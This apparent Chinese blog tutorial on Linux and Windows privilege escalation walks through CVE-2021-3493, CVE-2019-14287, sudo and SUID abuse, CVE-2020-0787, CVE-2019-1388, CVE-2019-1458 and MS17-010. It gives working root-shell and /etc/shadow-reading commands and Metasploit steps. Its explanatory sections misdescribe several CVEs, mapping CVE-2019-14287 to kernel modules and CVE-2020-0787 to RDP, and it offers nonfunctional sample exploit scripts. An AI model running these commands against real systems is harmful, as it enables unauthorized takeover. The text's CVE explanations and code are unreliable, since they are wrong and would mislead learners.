LINUX权限提升_目标系统

LINUX

内核提权:CVE-2021-3493

LINUX权限提升_Windows_02

atp-cache search linux | grep linux-image

可以运行这条命令来取查看可以安装的当前软件库的内核版本

如果没有的话需要降级

LINUX权限提升_目标系统_03

atp-get install linux-headers-4.4.0-21-generic linux-image-4.4.0-21-generic

一个是内核一个是版本号,回车即可安装

LINUX权限提升_管理员权限_04

查看内核启动顺序

cat /boot/grub/grub.cfg | grep menuentry

LINUX权限提升_Windows_05

修改内核的启动顺序

LINUX权限提升_Windows_06

编辑启动项文件

sudo nano /etc/default/grub

LINUX权限提升_管理员权限_07

把原来的注释掉,在第二行改

LINUX权限提升_目标系统_08

改成 4.15.0-91 

更新启动项

sudo update-grub

LINUX权限提升_管理员权限_09

重启之后呢,uname -r

LINUX权限提升_管理员权限_10

发现成功

网上下载CVE-2021-3493,可以去github

LINUX权限提升_Windows_11

使用gcc编译

gcc exploit.c -o exploit
ll

LINUX权限提升_目标系统_12

运行他

./exploit
id
cat /etc/shadow

LINUX权限提升_目标系统_13

LINUX权限提升_管理员权限_14

VE-2021-3493是Linux内核中的一个漏动,该漏动允许公鸡者通过利用overlayfs文件系统和capabilities机制的结合来提升权限。以下是原理和复现代码示例的讲解:

原理解析:

  1. OverlayFS:OverlayFS是一种联合挂载的文件系统,它允许将多个目录合并成一个单一的视图。在OverlayFS中,上层目录可以覆盖下层目录的内容。
  2. Capabilities:Linux内核引入了capabilities机制,用于更细粒度地控制进程的权限。每个进程都有一个capabilities集合,其中包含了一组特定的权限标志。
  3. User Namespaces:User namespaces允许在一个命名空间内创建独立的用户ID映射,使得一个进程可以在其命名空间内拥有比全局系统中更高的权限。

复现步骤:

  1. 环境准备:首先需要一台安装了受影响版本的Linux操作系统(例如Ubuntu)的计算机。确保内核版本在受影响范围内。
  2. 漏动利用代码获取:从互联网上下载已知的漏动利用代码,这些代码通常由安全研究人员或团队公开发布。
  3. 编译并运行漏动利用代码:在目标系统上编译并运行漏动利用代码。如果成功,公鸡者应该能够获得root权限。

复现代码示例:

以下是一个简化的CVE-2021-3493漏动利用代码示例,仅供参考,实际漏动利用可能需要更多的细节和调整。

import os

# 创建一个新的overlayfs挂载点
os.system("mkdir /tmp/overlay")
os.system("mount -t overlay overlay -o lowerdir=/,upperdir=/tmp/overlay /mnt")

# 创建一个具有CAP_SYS_ADMIN能力的可执行文件
with open("/tmp/overlay/exploit", "w") as f:
    f.write("#!/bin/sh\n")
    f.write("echo 'root:x:0:0:root:/root:/bin/bash' > /proc/self/task/$(pgrep -f '/tmp/overlay/exploit')/fd/1")

os.system("chmod +x /tmp/overlay/exploit")

# 使用新的capabilities设置运行exploit程序
os.system("setcap cap_sys_admin+ep /tmp/overlay/exploit")

# 运行exploit程序以提升权限
os.system("/tmp/overlay/exploit")

请注意,上述代码仅作为示例,实际漏动利用可能涉及更多复杂的操作和细节。此外,未经授权的公鸡行为是非法的,请勿尝试对任何系统进行此类公鸡。

不安全配置提权:CVE-2019-14287

LINUX权限提升_管理员权限_15

创建一个test的用户

useradd test
passwd test
sudo nano /tec/sudoers

LINUX权限提升_Windows_16

test可以在任意的用户主机上以任意用户的方式,但是不能是一root用户组的方式来执行vim命令

下一个行可以不添加是下一个实验需要的

LINUX权限提升_Windows_17

登录test

LINUX权限提升_Windows_18

我们直接读取需要root权限来查看的文件,发现是没有权限的

LINUX权限提升_管理员权限_19

利用漏动来进行复现

sudo -u#-1 vim

LINUX权限提升_目标系统_20

进入vim编辑器的命令模式,输入

!cat /etc/shadow

LINUX权限提升_管理员权限_21

然后发现公鸡成功,读取到了root权限才能读取的shadow文件

LINUX权限提升_Windows_22

退出vim编辑器发现也还是会在终端里展示的

LINUX权限提升_管理员权限_23

CVE-2019-14287是Linux内核中的一个漏动,该漏动允许公鸡者通过利用某些不安全的配置来提升权限。以下是原理和复现代码示例的讲解:

原理解析:

  1. 内核模块加载:Linux内核允许用户空间程序动态地加载和卸载内核模块。这些模块可以提供额外的功能或驱动程序。
  2. 内核模块签名验证:为了防止恶意模块被加载到系统中,Linux内核引入了对内核模块进行签名验证的功能。然而,在某些情况下,这个验证机制可能被绕过。
  3. 内核模块强制加载:在某些配置下,内核可能会允许未经签名的模块被强制加载到内存中,而无需进行签名验证。这可能导致公鸡者能够加载恶意模块并执行任意代码。

复现步骤:

  1. 环境准备:首先需要一台安装了受影响版本的Linux操作系统(例如Ubuntu)的计算机。确保内核版本在受影响范围内。
  2. 漏动利用代码获取:从互联网上下载已知的漏动利用代码,这些代码通常由安全研究人员或团队公开发布。
  3. 编译并运行漏动利用代码:在目标系统上编译并运行漏动利用代码。如果成功,公鸡者应该能够获得root权限。

复现代码示例:

以下是一个简化的CVE-2019-14287漏动利用代码示例,仅供参考,实际漏动利用可能需要更多的细节和调整。

import os

# 创建一个新的内核模块文件
with open("/tmp/exploit.ko", "w") as f:
    f.write("MODULE_LICENSE(\"GPL\");\n")
    f.write("MODULE_DESCRIPTION(\"Exploit for CVE-2019-14287\");\n")
    f.write("MODULE_AUTHOR(\"Attacker\");\n")
    f.write("static int __init exploit_init(void) {\n")
    f.write("	// Insert malicious code here\n")
    f.write("	return 0;\n")
    f.write("}\n")
    f.write("static void __exit exploit_exit(void) {\n")
    f.write("	// Cleanup if necessary\n")
    f.write("}\n")
    f.write("module_init(exploit_init);\n")
    f.write("module_exit(exploit_exit);\n")

# 强制加载内核模块
os.system("insmod /tmp/exploit.ko")

配置不当提权:sudo 配置不当

LINUX权限提升_Windows_24

修改内核版本

sudo nano /etc/default/grub

LINUX权限提升_Windows_25

把这里改成4.4.0-21-generic

update-grub

LINUX权限提升_Windows_26

sudo reboot

LINUX权限提升_目标系统_27

sudo cat /etc/sudoers

LINUX权限提升_管理员权限_28

这里主要关注这一行配置

LINUX权限提升_目标系统_29

su test
输入密码

LINUX权限提升_管理员权限_30

直接输入

sudo -i #就直接进入到管理员命令模式了

再检查

whoami

LINUX权限提升_目标系统_31

输入另一条命令,也可以

sudo taskset 1 /bin/sh -p
id

LINUX权限提升_Windows_32

不配置有多钟方式可以提权

sudo sed -n '1e exec sh 1>&0' /etc/passwd

LINUX权限提升_目标系统_33

输入id可以查看

LINUX权限提升_管理员权限_34

或者以下命令

sudo "xxd/etc/shadow" | XXd -r

LINUX权限提升_目标系统_35

或者直接使用vim

vim /etc/shadow

LINUX权限提升_Windows_36

配置不当提权是指公鸡者通过利用sudo命令的配置错误来提升权限。以下是原理和复现代码示例的讲解:

原理解析:

  1. sudo命令:sudo是Linux系统中用于执行特权操作的命令,它允许普通用户以超级用户(root)的身份执行特定的命令。
  2. sudoers文件:sudoers文件定义了哪些用户可以执行哪些sudo命令以及相应的权限设置。这个文件通常位于/etc/sudoers/etc/sudoers.d/目录下。
  3. 配置错误:如果sudoers文件中的配置不正确,公鸡者可能会找到漏动并利用这些错误来提升权限。例如,错误的配置可能允许非特权用户执行需要特权的命令,或者允许特权用户执行不需要特权的命令。

复现步骤:

  1. 环境准备:首先需要一台安装了受影响版本的Linux操作系统(例如Ubuntu)的计算机。确保内核版本在受影响范围内。
  2. 漏动利用代码获取:从互联网上下载已知的漏动利用代码,这些代码通常由安全研究人员或团队公开发布。
  3. 编译并运行漏动利用代码:在目标系统上编译并运行漏动利用代码。如果成功,公鸡者应该能够获得root权限。

复现代码示例:

以下是一个简化的sudo配置不当漏动利用代码示例,仅供参考,实际漏动利用可能需要更多的细节和调整。

#python
import os

# 创建一个新的sudoers配置文件
with open("/tmp/sudoers", "w") as f:
    f.write("Defaults env_keep += \"SUDO_USER\"\n")
    f.write("ALL ALL=(ALL) NOPASSWD: ALL\n")

# 将新的sudoers配置文件复制到正确的位置
os.system("cp /tmp/sudoers /etc/sudoers")

# 使用sudo命令执行需要特权的操作
os.system("sudo id")

请注意,上述代码仅作为示例,实际漏动利用可能涉及更多复杂的操作和细节

suid提权

LINUX权限提升_目标系统_37

uname -r 
find / -perm -u=s -type f 2>/dev/null #查看当前操作系统拥有sid权限的命令

框选中的都是有suid的命令

LINUX权限提升_管理员权限_38

ls -al /usr/bin/find

LINUX权限提升_Windows_39

这里的s标志很关键

LINUX权限提升_管理员权限_40

find / -type f -name abc -exec "whoami" \;

LINUX权限提升_管理员权限_41

使用的abc必须是操作系统中已经存在的文件

LINUX权限提升_Windows_42

将交互式shell编程root

find / -name abc -exec /bin/sh -p \; -quit

LINUX权限提升_管理员权限_43

LINUX权限提升_Windows_44

SUID提权是一种公鸡技术,用于提升普通用户的权限以执行特权操作。它利用了Linux系统中的SUID(Set User ID)位,使得可执行文件在执行时以文件所有者的身份运行。

应用payload通常是指恶意软件或公鸡脚本,通过利用SUID提权漏动来获取系统管理员权限或执行其他恶意操作。以下是一些常见的SUID提权漏动和应用payload:

  1. sudo漏动:sudo是一个常用的命令行工具,允许用户以其他用户的身份执行命令。公鸡者可以利用sudo漏动,通过修改sudoers文件或使用其他漏动,以root权限执行任意命令。
  2. Shellshock漏动:Shellshock是Bash shell的一个漏动,允许公鸡者通过特定的HTTP请求触发shell命令执行。公鸡者可以利用这个漏动,通过Web服务器上的CGI脚本或其他可执行脚本来执行任意命令。
  3. Apache Tomcat漏动:Apache Tomcat是一个流行的Java Web服务器,存在多个漏动可以被公鸡者利用。例如,Tomcat默认配置下,某些目录可能具有写权限,公鸡者可以通过上传恶意文件并利用SUID提权来执行任意代码。
  4. PHP漏动:PHP是一种广泛使用的服务器端脚本语言,存在许多漏动可以被公鸡者利用。例如,公鸡者可以利用PHP中的安全漏动,如反序列化漏动或文件包含漏动,结合SUID提权来执行任意命令。

CVE-2020-0787

LINUX权限提升_管理员权限_45

CVE-2020-0787是一个Windows操作系统的漏动,影响Windows 7、Windows Server 2008 R2、Windows 8.1和Windows Server 2012 R2。该漏动允许公鸡者通过远程桌面协议(RDP)执行任意代码。

漏动原理

BITS 是 Windows 系统中的一个服务,用于在后台传输文件。当 BITS 未能正确处理符号链接时,就会引发 CVE-2020-0787 漏动。公鸡者可以通过创建特制的符号链接,使 BITS 覆盖目标文件,从而提升其权限。

影响范围

该漏动影响以下 Windows 版本:

  • Windows 10 版本 1803 及更高版本
  • Windows Server 2019
  • Windows Server 2016

利用方式:

LINUX权限提升_Windows_46

点击exp

LINUX权限提升_Windows_47

下载exp.zip

LINUX权限提升_管理员权限_48

在下载到文件里找到这样一个文件exe

BitArbitraryFileMoveExploit.exe

LINUX权限提升_目标系统_49

在命令行里运行这个exe

LINUX权限提升_管理员权限_50

然后就会弹出一个新的命令行窗口

LINUX权限提升_目标系统_51

输入whoami,提示是system的管理员

示例:

  1. 公鸡者需要知道目标系统的IP地址和端口号。
  2. 公鸡者需要构造一个特殊的RDP数据包,其中包含恶意代吗。
  3. 公鸡者通过网络发送这个恶意数据包到目标系统。
  4. 如果目标系统没有安装补丁或者配置不当,恶意代吗将在目标系统上执行。

由于这是一个严重的安全漏动,建议立即更新受影响的软件并采取其他安全措施。以下是一个简单的Python脚本,用于模拟CVE-2020-0787的公鸡:

import socket
import struct

def send_malicious_packet(ip, port):
    # 构造恶意数据包
    malicious_data = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x02\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc5'

    # 创建套接字并连接到目标系统
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))

    # 发送恶意数据包
    s.sendall(malicious_data)

    # 关闭套接字
    s.close()

if __name__ == "__main__":
    # 替换为目标系统的IP地址和端口号
    target_ip = "192.168.1.1"
    target_port = 3389

    send_malicious_packet(target_ip, target_port)

请注意,这个脚本仅用于演示目的,不要在未经授权的系统上使用。在实际公鸡中,公鸡者通常会使用更复杂的方法和工具来避免被检测和防御。

LINUX权限提升_Windows_52

解决方案

微软已经发布了安全更新来修复此漏动。用户可以通过以下方式来保护系统:

  1. 安装最新更新:确保你的 Windows 系统已安装最新的安全更新。
  2. 启用自动更新:配置 Windows 自动更新,以确保系统始终处于最新和最安全的状态。
  3. 限制权限:尽量避免使用管理员账户进行日常操作,以减少潜在的风险。

防护措施

除了安装最新的安全更新外,还可以采取以下措施来进一步保护系统:

  • 定期扫描:使用安全软件定期扫描系统,检测和修复潜在的漏动。
  • 禁用不必要的服务:禁用不需要的系统服务,减少公鸡面。
  • 加强用户培训:教育用户识别和避免潜在的安全威胁,如钓鱼邮件和恶意软件。

通过以上措施,可以有效降低 CVE-2020-0787 漏动带来的风险,确保系统的安全性。

UAC提权

LINUX权限提升_Windows_53

github.cim/jas502n/CVE-2019-1388

可以上这个网址去下载

LINUX权限提升_Windows_54

右键管理员身份运行

点详细信息-常规

LINUX权限提升_目标系统_55

点击颁发者,点一次后点击确定

LINUX权限提升_Windows_56

弹出浏览器,复制地址

点击页面-选择另存为

LINUX权限提升_管理员权限_57

输入

C:\windonws\system32\*.*

输完了按回车就进入了目录

LINUX权限提升_Windows_58

找到cmd程序-选择右键-打开-输入whoami

LINUX权限提升_管理员权限_59

发现是管理员权限

UAC提权是指在Windows操作系统中,通过提升用户权限来执行某些需要管理员权限的操作。以下是一个简单的UAC提权过程及利用步骤代码:

  1. 创建一个名为"elevate.bat"的批处理文件,内容如下:
@echo off
:: 检查是否以管理员身份运行
net session >nul 2>&1
if %errorlevel% == 0 (
    echo 已经以管理员身份运行
) else (
    :: 尝试以管理员身份重新运行此脚本
    echo 正在尝试以管理员身份运行...
    powershell -Command "Start-Process 'cmd.exe' -Verb RunAs -ArgumentList '/c %~fnx0'"
    exit /b
)

:: 在这里添加需要以管理员权限执行的命令
echo 执行需要管理员权限的操作
  1. 双击运行"elevate.bat"文件,如果当前用户没有管理员权限,将会弹出UAC提示框要求提升权限。点击“是”后,批处理文件将以管理员身份重新运行。
  2. 在"elevate.bat"文件中添加需要以管理员权限执行的命令,例如:
@echo off
:: 检查是否以管理员身份运行
net session >nul 2>&1
if %errorlevel% == 0 (
    echo 已经以管理员身份运行
) else (
    :: 尝试以管理员身份重新运行此脚本
    echo 正在尝试以管理员身份运行...
    powershell -Command "Start-Process 'cmd.exe' -Verb RunAs -ArgumentList '/c %~fnx0'"
    exit /b
)

:: 在这里添加需要以管理员权限执行的命令
echo 执行需要管理员权限的操作
pause
  1. 保存并重新运行"elevate.bat"文件,此时应该可以成功执行需要管理员权限的操作

CVE-2019-1458

LINUX权限提升_目标系统_60

CVE-2019-1458是Windows操作系统中的一个漏动,影响Windows 7、Windows Server 2008 R2、Windows 8.1和Windows Server 2012 R2。该漏动允许公鸡者通过远程桌面协议(RDP)执行任意代码。

LINUX权限提升_管理员权限_61

已经提权将CVE-2019-1458的exp下载好了

打开cmd进入下载目录

LINUX权限提升_Windows_62

cd Dowm loads
.\CVE-2019-1458
whoami

以下是一个简单的利用过程及利用步骤代码:

  1. 首先,确保目标系统上安装了受影响的Windows版本。
  2. 下载并安装Metasploit框架。可以从官方网站下载:https://www.metasploit.com/download
  3. 打开Metasploit控制台,输入以下命令以搜索相关模块:
msfconsole
search cve-2019-1458
  1. 选择相应的模块,例如exploit/windows/rdp/cve_2019_1458_bluekeep,然后输入以下命令来设置目标IP地址和端口:
use exploit/windows/rdp/cve_2019_1458_bluekeep
set RHOSTS <目标IP地址>
set RPORT 3389
  1. 运行漏动利用模块:
exploit
  1. 如果成功,你将获得一个Meterpreter会话,可以在此会话中执行各种命令。

注意:这些步骤仅用于学习和研究目的,请勿用于非法活动

MS17-010

查看win7靶机的ip地址

LINUX权限提升_目标系统_63

到kali里打开msf

LINUX权限提升_管理员权限_64

search ms17_010

"search ms17_010" 是一个搜索指令,意在查找与微软安全公告MS17-010相关的信息。MS17-010是微软在2017年发布的一个安全更新,修复了一个严重的远程执行代码漏动,该漏动影响了Windows操作系统中的SMB(Server Message Block)协议。这个漏动后来被称为"EternalBlue"(永恒之蓝),被黑课利用来进行大规模的网络公鸡,如WannaCry勒所软件的传播。


MS17-010是Windows操作系统中的一个漏动,影响Windows SMBv1协议。公鸡者可以利用这个漏动进行远程代码执行。以下是一个简单的利用过程及利用步骤代码:

  1. 首先,确保目标系统上安装了受影响的Windows版本。
  2. 下载并安装Metasploit框架。可以从官方网站下载:https://www.metasploit.com/download
  3. 打开Metasploit控制台,输入以下命令以搜索相关模块:
msfconsole
search ms17_010
  1. 选择相应的模块,例如exploit/windows/smb/ms17_010_eternalblue,然后输入以下命令来设置目标IP地址和端口:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP地址>
set RPORT 445
  1. 运行漏动利用模块:
exploit
  1. 如果成功,你将获得一个Meterpreter会话,可以在此会话中执行各种命令。

注意:这些步骤仅用于学习和研究目的,请勿用于非法活动。